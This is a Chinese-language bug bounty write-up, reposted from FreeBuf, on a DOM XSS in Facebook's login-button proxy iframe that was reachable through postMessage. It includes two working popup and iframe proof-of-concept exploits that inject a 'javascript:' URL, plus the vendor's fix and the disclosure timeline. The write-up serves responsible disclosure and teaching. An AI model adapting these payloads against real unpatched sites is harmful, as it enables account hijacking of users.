文章讲述了作者分析Facebook开发者网站https://developers.facebook.com,从中发现网站postMessage()方法存在安全配置问题,可形成DOM XSS漏洞,对Facebook用户个人信息和账户构成威胁。漏洞最终获得Facebook奖励$20000。
window.postMessage()
window.postMessage() 方法可以实现跨域通信。通常来说,对于两个不同页面的脚本,只有基于同源策略时,这两个脚本才能相互通信。而window.postMessage() 方法借助postMessage API,即可实现跨域间的通信,例如,在一个页面和它生成的弹出窗口之间,或者是页面和嵌入其中的iframe之间。
更多postMessage方法的跨域通信知识,可以参考以下文章:
How cross window/frame communication happens in Javascript
https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/
漏洞背景
我认为postMessage引发的漏洞一直是被漏洞众测平台低估的,而且好多漏洞测试人员好像都不怎么重视。
最近,在找烦了一些开放接口和泄露密码类的漏洞之后,我想找找客户端漏洞,一开始我聚焦的范围是跨站脚本包含(XSSI)、JSONP(JSON with Padding)和postMessage类漏洞,但在cookie机制引入了SameSite属性后,前两种漏洞几乎已经灭绝了, 因此,我把重点放到了容易被大多数安全研究者忽视的postMessage漏洞身上,而且这种类型的漏洞测试起来相对简单且无需绕过防火墙。
为了方便测试/记录页面中的跨窗口通信,我自己写了一个Chrome插件式的跨域测试工具。正常来说,网站在小部件(widgets)、 插件(plugins)和开发组件(web SDKs)之间会使用iframe跨域通信。因此,我把测试目标定位在了Facebook网站的iframe框架上,这里,首当其冲的就是Facebook的开发者网站https://developers.facebook.com,因为该网站包含了很多的第三方插件。
之后,我发现该网站中的“Facebook Login SDK for JavaScript”创建了一个代理性质的iframe:v6.0/plugins/login_button.php,Facebook用它来进行跨域通信,其中该代理iframe还负责加载“Continue with Facebook ”按钮,但更有意思的是,网站中的javascript SDK在与该代理iframe通信时,其向代理iframe发送的一个初始负载中包含了“Continue with Facebook ”按钮的URL链接。大致的流程图如下:
如果我们仔细观察上述javascript SDK发给代理iframe的初始Payload,可以看到,其中的url参数会被一个i变量进行调用,而且,当按钮被用户点击后,会触发以下window.open事件:
i.url = i.url.replace(/cbt=\d+/, “cbt=” + a);
a = window.open(i.url, i.id, b(“buildPopupFeatureString”)(i));
当我看到 window.open 事件中的javascript时,我就若有所思了,因为用它可以来构造window.open(‘javascript:alert(document.domain)’)这种DOM XSS的漏洞利用,而且在javascript中,完全没有URL或其它形式的身份验证机制。
因此,如果我们向Facebook代理iframe-https://www.facebook.com/v6.0/plugins/login_button.php,发送一个形如url:’javascript:alert(document.domain)’的Payload后,如果用户点击了“Continue With Facebook”按钮后,那么javascript:alert(document.domain)就会毫无疑问地在facebook.com网站中触发执行了!
Exploiting the Iframe
这里有两种方法来进行构造利用:
1、打开一个弹出窗口并与其进行通信
2、打开一个iframe并与其进行通信
弹窗方法的构造代码如下:
<script>
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");
setTimeout(function(){
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
opener.postMessage(message, '*');
},'4000');
</script>
在构造iframe方法时,由于Facebook的该网站服务端中缺失’X-Frame-Options’头或CSP嵌入策略头’frame-ancestors’,所以可以在构造代码中嵌入以下页面:
<script>
function fbFrameLoaded() {
var iframeEl = document.getElementById('fbframe');
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>
漏洞修复
Facebook通过添加了facebook.com正则域规则,并在javascript SDK发送给代理iframe的Payload中实施了url参数检查校验,最终修复了该漏洞。
d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())
漏洞PoC视频
漏洞影响
漏洞源于postmessage通信时的错误配置,导致攻击者可以构造恶意页面诱惑受害者点击其中的login with the Facebook按钮,从而会在facebook.com网站中触发一系列的恶意XSS Payload执行,深入利用将对受害者账户造成一键点击劫持。
漏洞上报和处理进程
2020.4.17 – 漏洞初报
2020.4.17 – Facebook确认漏洞有效
2020.4.20 – Facebook修复漏洞
2020.4.29 – Facebook验证漏洞修复有效
2020.5.01 – Facebook奖励了我$20000
*参考来源:vinothkumar,clouds 编译整理,转载请注明来自 FreeBuf.COM
来源:freebuf.com 2020-06-05 13:00:53 by: clouds
请登录后发表评论
注册